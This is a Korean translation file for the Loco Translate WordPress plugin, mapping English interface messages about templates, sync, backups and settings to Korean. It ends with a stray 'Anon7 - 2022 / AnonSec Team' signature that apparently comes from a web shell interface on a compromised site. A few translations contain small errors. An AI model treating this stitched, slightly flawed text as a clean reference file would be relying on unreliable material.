msgid "Failed to create backup file in \"%s\". Check file permissions or disable backups"
msgstr "\"%s\"에 백업 파일을 작성하는데 실패함. 파일 권한을 확인하거나 백업을 비활성화하세요"

#: src/ajax/MsginitController.php:63
msgid "MO file exists for this language already. Delete it first"
msgstr "이 언어에 대한 MO 파일이 이미 있습니다. 먼저 삭제하하세요"

#: src/ajax/FsConnectController.php:117
msgid "Connected to remote file system"
msgstr "원격 파일 시스템에 연결됨"

#: src/admin/list/ThemesController.php:14
msgid "Translate themes"
msgstr "테마 번역"

#: src/admin/list/PluginsController.php:12
msgid "Translate plugins"
msgstr "플러그인 번역"

#. translators: %s refers to the name of a translation set (theme, plugin or
#. core component)
#: src/admin/init/InitPotController.php:106
msgid "New translations template for \"%s\""
msgstr "\"%s\"에 대한 새 번역 템플릿"

#: src/admin/init/InitPotController.php:104
msgid "New template file"
msgstr "새 템플릿 파일"

#: src/admin/init/InitPotController.php:56
msgid "Template file already exists"
msgstr "템플릿 파일이 이미 있습니다"

#: src/admin/init/InitPotController.php:16
msgid "New template"
msgstr "새 템플릿"

#: src/admin/init/InitPoController.php:223
msgid "Skip template"
msgstr "템플릿 건너뛰기"

#. translators: Were %s is number of source files that will be scanned
#: src/admin/init/InitPoController.php:280
msgid "%s source file will be scanned for translatable strings"
msgid_plural "%s source files will be scanned for translatable strings"
msgstr[0] "%s개 원본 파일에서 번역 가능한 문자열을 검색합니다"

#. translators: 1: Number of strings; 2: Name of POT file; e.g. "100 strings
#. found in file.pot"
#: src/admin/init/InitPoController.php:249
msgid "%1$s string found in %2$s"
msgid_plural "%1$s strings found in %2$s"
msgstr[0] "%2$s에서 %1$s개 문자열을 찾음"

#: src/admin/init/InitPoController.php:119
msgid "Initializing new translations in unknown set"
msgstr "알 수 없는 세트에서 새 번역을 초기 설정 중"

#. translators: %s refers to the slug/handle of a theme or plugin
#: src/admin/init/InitPoController.php:115
msgid "Initializing new translations in \"%s\""
msgstr "\"%s\"에서 새 번역을 초기 설정 중"

#. translators: Warning that the language in the file header (1) does not match
#. the file name (2)
#: src/admin/file/InfoController.php:177
msgid "Language header is \"%1$s\" but file name contains \"%2$s\""
msgstr "언어 헤더는 \"%1$s\"이지만 파일 이름에 \"%2$s\"(이)가 포함되어 있습니다"

#: src/admin/file/InfoController.php:169
msgid "File does not have a valid header"
msgstr "파일에 유효한 헤더가 없습니다"

#: src/admin/file/InfoController.php:137 src/package/Header.php:86
msgid "Unknown author"
msgstr "알 수 없는 작성자"

#. Translators: Button that toggles between "code" and regular text editing
#. modes
#: src/admin/file/EditController.php:232
msgctxt "Editor"
msgid "Toggle code view"
msgstr "코드 화면 전환"

#. Translators: Button that toggles invisible characters
#: src/admin/file/EditController.php:230
msgctxt "Editor"
msgid "Toggle invisibles"
msgstr "미표시 전환"

#. Translators: Button for downloading a PO, MO or POT file
#: src/admin/file/EditController.php:226
msgctxt "Editor"
msgid "Download"
msgstr "다운로드 -"

#. Translators: Button that reloads current screen
#: src/admin/file/EditController.php:220
msgctxt "Editor"
msgid "Revert"
msgstr "되돌리기"

#. Translators: Button that runs in-editor sync/operation
#: src/admin/file/EditController.php:218
msgctxt "Editor"
msgid "Sync"
msgstr "동기화"

#. Translators: Button that saves translations to disk
#: src/admin/file/EditController.php:216
msgctxt "Editor"
msgid "Save"
msgstr "저장"

#: src/admin/file/EditController.php:214 src/ajax/ApisController.php:26
msgid "Help"
msgstr "도움말"

#. Translators: button for removing a string when manually editing a POT file
#: src/admin/file/EditController.php:213
msgctxt "Editor"
msgid "Remove"
msgstr "제거"

#. Translators: button for adding a new string when manually editing a POT file
#: src/admin/file/EditController.php:211
msgctxt "Editor"
msgid "Add"
msgstr "추가"

#. translators: %s refers to the name of a POT file
#: src/admin/file/EditController.php:131
msgid "Translations don't match template. Run sync to update from %s"
msgstr "번역이 템플릿과 일치하지 않습니다. 동기화를 실행하여 %s에서 업데이트"

#. translators: %1$s is the file name, %2$s is the bundle name
#: src/admin/file/EditController.php:18
msgid "Editing %1$s in %2$s"
msgstr "%2$s에서 %1$s 편집 중"

#. translators: Warning that deleting a file will also delete others. %s
#. indicates that quantity.
#: src/admin/file/DeleteController.php:104
msgid "%s dependent file will also be deleted"
msgid_plural "%s dependent files will also be deleted"
msgstr[0] "%s개 종속 파일도 삭제됩니다"

#. translators: Page title where %s is the name of a file to be deleted
#: src/admin/file/DeleteController.php:79
#: src/admin/file/DeleteController.php:98
msgid "Delete %s"
msgstr "%s 삭제"

#: src/admin/file/DiffController.php:45
msgid "File deleted"
msgstr "파일이 삭제됨"

#: src/admin/file/BaseController.php:122 tpl/admin/bundle/inc-po-table.php:66
#: tpl/admin/bundle/locale.php:75 tpl/admin/file/diff.php:32
msgid "Delete"
msgstr "삭제"

#: src/admin/file/BaseController.php:119 tpl/admin/bundle/inc-po-table.php:25
#: tpl/admin/bundle/locale.php:43
msgid "File info"
msgstr "파일 정보"

#: src/admin/file/BaseController.php:118
msgid "Source"
msgstr "원본"

#: src/admin/file/BaseController.php:117
msgid "Editor"
msgstr "편집기"

#: src/admin/config/SettingsController.php:51
msgid "Super Admin"
msgstr "최고 관리자"

#: src/admin/config/ApisController.php:69
#: src/admin/config/PrefsController.php:42
#: src/admin/config/SettingsController.php:79
#: src/admin/config/VersionController.php:22 src/mvc/AdminRouter.php:66
#: tpl/admin/help/tab-config.php:2
msgid "Plugin settings"
msgstr "플러그인 설정"

#: src/admin/config/DebugController.php:55
msgid "System diagnostics"
msgstr "시스템 진단"

#: src/admin/config/BaseController.php:21
#: src/admin/config/VersionController.php:13
msgid "Version"
msgstr "버전"

#: src/admin/config/BaseController.php:19
#: src/admin/config/PrefsController.php:13 src/mvc/AdminRouter.php:71
msgid "User options"
msgstr "사용자 옵션"

#: src/admin/config/BaseController.php:18
msgid "Site options"
msgstr "사이트 옵션"

#: src/admin/bundle/ViewController.php:133
#: src/admin/init/InitPoController.php:218 tpl/admin/init/init-pot.php:40
msgid "Create template"
msgstr "템플릿 만들기"

#: src/admin/bundle/ViewController.php:124
msgid "Edit template"
msgstr "템플릿 편집"

#: src/admin/bundle/ViewController.php:99 src/admin/file/BaseController.php:141
#: src/admin/init/InitPoController.php:16
#: src/admin/init/InitPoController.php:122
msgid "New language"
msgstr "새 언어"

#. translators: %s is a quantity of files which were found, but whose context
#. is unknown
#: src/admin/bundle/SetupController.php:115
msgid "%s file can't be matched to a known set of strings"
msgid_plural "%s files can't be matched to a known set of strings"
msgstr[0] "%s개 파일은 알려진 문자열 세트와 일치시킬 수 없습니다"

#: src/admin/bundle/SetupController.php:35
msgid "Bundle setup"
msgstr "번들 설정"

#: src/admin/bundle/SetupController.php:25
msgid "Setup tab"
msgstr "설정 탭"

#. translators: where %s is a plugin or theme
#: src/admin/bundle/SetupController.php:15
msgid "Set up %s"
msgstr "%s 설정"

#: src/admin/bundle/ConfController.php:137 tpl/admin/bundle/setup/core.php:17
#: tpl/admin/bundle/setup/inc-nav.php:19
msgid "Advanced configuration"
msgstr "고급 구성"

#: src/admin/bundle/ConfController.php:52
msgid "Advanced tab"
msgstr "고급 탭"

#. translators: where %s is a plugin or theme
#: src/admin/bundle/ConfController.php:16
msgid "Configure %s"
msgstr "%s 구성"

#: src/admin/bundle/BaseController.php:107
#: src/admin/config/DebugController.php:12 src/error/Debug.php:19
#: src/mvc/AdminRouter.php:77
msgid "Debug"
msgstr "디버그"

#: src/admin/bundle/BaseController.php:102 tpl/admin/file/conf.php:58
#: tpl/admin/file/move.php:26
msgid "Advanced"
msgstr "고급"

#: src/admin/bundle/BaseController.php:101
msgid "Setup"
msgstr "설정"

#: src/admin/bundle/BaseController.php:54
msgid "Configuration reset"
msgstr "구성이 초기화됨"

#: src/admin/bundle/BaseController.php:40
msgid "Configuration saved"
msgstr "구성이 저장됨"

#. translators: home screen title where %s is the version number
#: src/admin/RootController.php:23
msgid "Loco Translate %s"
msgstr "Loco Translate %s"

#: src/admin/bundle/BaseController.php:100
#: src/admin/bundle/LocaleController.php:34
#: src/admin/bundle/ViewController.php:25
#: src/admin/config/BaseController.php:39 src/admin/file/EditController.php:27
#: src/admin/file/InfoController.php:26 src/admin/file/ViewController.php:26
#: src/admin/init/InitPoController.php:25
#: src/admin/init/InitPotController.php:25 src/admin/list/BaseController.php:45
#: src/admin/list/LocalesController.php:24 src/admin/RootController.php:12
msgid "Overview"
msgstr "개요"

#: src/admin/bundle/LocaleController.php:154 src/admin/Navigation.php:30
#: src/mvc/AdminRouter.php:49
msgid "Plugins"
msgstr "플러그인"

#: src/admin/bundle/LocaleController.php:149 src/admin/Navigation.php:27
#: src/mvc/AdminRouter.php:44
msgid "Themes"
msgstr "테마"

#: src/Locale.php:306
msgid "Invalid locale"
msgstr "잘못된 로케일"

#. translators: %s refers to the name of a missing PHP extension, for example
#. "mbstring".
#: loco.php:131
msgid "Loco Translate requires the \"%s\" PHP extension. Ask your hosting provider to install it"
msgstr "Loco Translate에는 \"%s\" PHP 확장 기능이 필요합니다. 호스팅 제공업체에 설치를 요청하세요"

#. Author of the plugin
#: loco.php
msgid "Tim Whitlock"
msgstr "Tim Whitlock"

#. Plugin URI of the plugin
#: loco.php
msgid "https://wordpress.org/plugins/loco-translate/"
msgstr "https://wordpress.org/plugins/loco-translate/"

#. Translators: Placeholder text for text filter above editor
#: src/admin/file/EditController.php:228
msgid "Filter translations"
msgstr "번역 필터링"

#: tpl/admin/bundle/conf.php:65 tpl/admin/bundle/inc-po-table.php:45
#: tpl/admin/file/edit-pot.php:20 tpl/admin/file/info-pot.php:18
#: tpl/admin/file/view-pot.php:9
msgid "Template file"
msgstr "템플릿 파일"

#: tpl/admin/config/apis.php:166 tpl/admin/config/prefs.php:44
#: tpl/admin/config/settings.php:233
msgid "Save settings"
msgstr "설정 저장"

#: tpl/admin/config/settings.php:62
msgid "Number of backups to keep of each file:"
msgstr "각 파일을 보관할 백업 개수:"

#: tpl/admin/config/settings.php:137
msgid "Include Fuzzy strings"
msgstr "애매한 문자열 포함"

#: tpl/admin/config/settings.php:131
msgid "Generate hash tables"
msgstr "해시 테이블 생성"

#: tpl/admin/config/settings.php:120 tpl/admin/config/settings.php:126
msgid "Compiling MO files"
msgstr "MO 파일 컴파일"

#: tpl/admin/bundle/locale.php:14 tpl/admin/common/inc-po-header.php:8
#: tpl/admin/file/edit-pot.php:22 tpl/admin/file/view-pot.php:11
msgctxt "Modified time"
msgid "Updated"
msgstr "업데이트일"

#. translators: Warning appears when user tries to refresh or navigate away
#. when editor work is unsaved
#: src/js/Strings.php:105
msgid "Your changes will be lost if you continue without saving"
msgstr "저장하지 않고 계속하면 변경 사항이 손실됩니다"

#. translators: Summary of existing strings that no longer exist after running
#. in-editor Sync xgettext: javascript-format
#: src/js/Strings.php:32
msgid "%s obsolete string removed"
msgid_plural "%s obsolete strings removed"
msgstr[0] "%s개 사용되지 않는 문자열이 제거됨"

#. translators: Summary of new strings after running in-editor Sync xgettext:
#. javascript-format
#: src/js/Strings.php:28
msgid "%s new string added"
msgid_plural "%s new strings added"
msgstr[0] "%s개 새 문자열이 추가됨"

#. translators: Message appears after sync operation.
#: src/js/Strings.php:47
msgid "Strings up to date with source code"
msgstr "원본 코드의 최신 문자열"

#. translators: Message appears after sync operation
#: src/js/Strings.php:24
msgid "Merged from source code"
msgstr "원본 코드에서 병합"

#. translators: Where %s is the name of the POT template file. Message appears
#. after sync xgettext: javascript-format
#: src/js/Strings.php:21
msgid "Merged from %s"
msgstr "%s에서 병합"

#. translators: Success notice where %s is a file extension, e.g. "PO"
#: src/admin/file/HeadController.php:81 src/gettext/Compiler.php:287
msgid "%s file saved"
msgstr "%s 파일이 저장됨"

#: src/js/Strings.php:145
msgid "Unknown error"
msgstr "알 수 없는 오류"

#: src/admin/file/EditController.php:182 src/mvc/AdminRouter.php:67
#: src/mvc/AdminRouter.php:72 tpl/admin/common/inc-fsconn.php:18
#: tpl/admin/common/inc-fsconn.php:43 tpl/admin/errors/no-backups.php:24
#: tpl/ajax/modal-apis-empty.php:15
msgid "Settings"
msgstr "설정"

#. Plugin Name of the plugin
#: loco.php src/hooks/AdminHooks.php:88 src/mvc/AdminRouter.php:37
msgid "Loco Translate"
msgstr "Loco Translate"

#. translators: Page title for plugin home screen
#: src/mvc/AdminRouter.php:39
msgid "Loco, Translation Management"
msgstr "Loco, 번역 관리"

#. translators: Shows number of untranslated strings at top of editor
#. translators: Shows number of untranslated strings at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:209 src/js/Strings.php:121
msgid "%s untranslated"
msgstr "%s 번역되지 않음"

#. translators: Shows number of fuzzy strings at top of editor
#. translators: Shows number of fuzzy strings at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:205 src/js/Strings.php:117
msgid "%s fuzzy"
msgstr "%s개 애매함"

#. translators: Shows percentage translated at top of editor
#. translators: Shows percentage translated at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:202 src/js/Strings.php:113
msgid "%s%% translated"
msgstr "%s %% 번역됨"

#: src/admin/config/ApisController.php:53
#: src/admin/config/PrefsController.php:26
#: src/admin/config/SettingsController.php:31
msgid "Settings saved"
msgstr "설정이 저장됨"

#: src/error/WriteException.php:13
msgid "Permission denied"
msgstr "권한이 거부됨"

Anon7 - 2022
AnonSec Team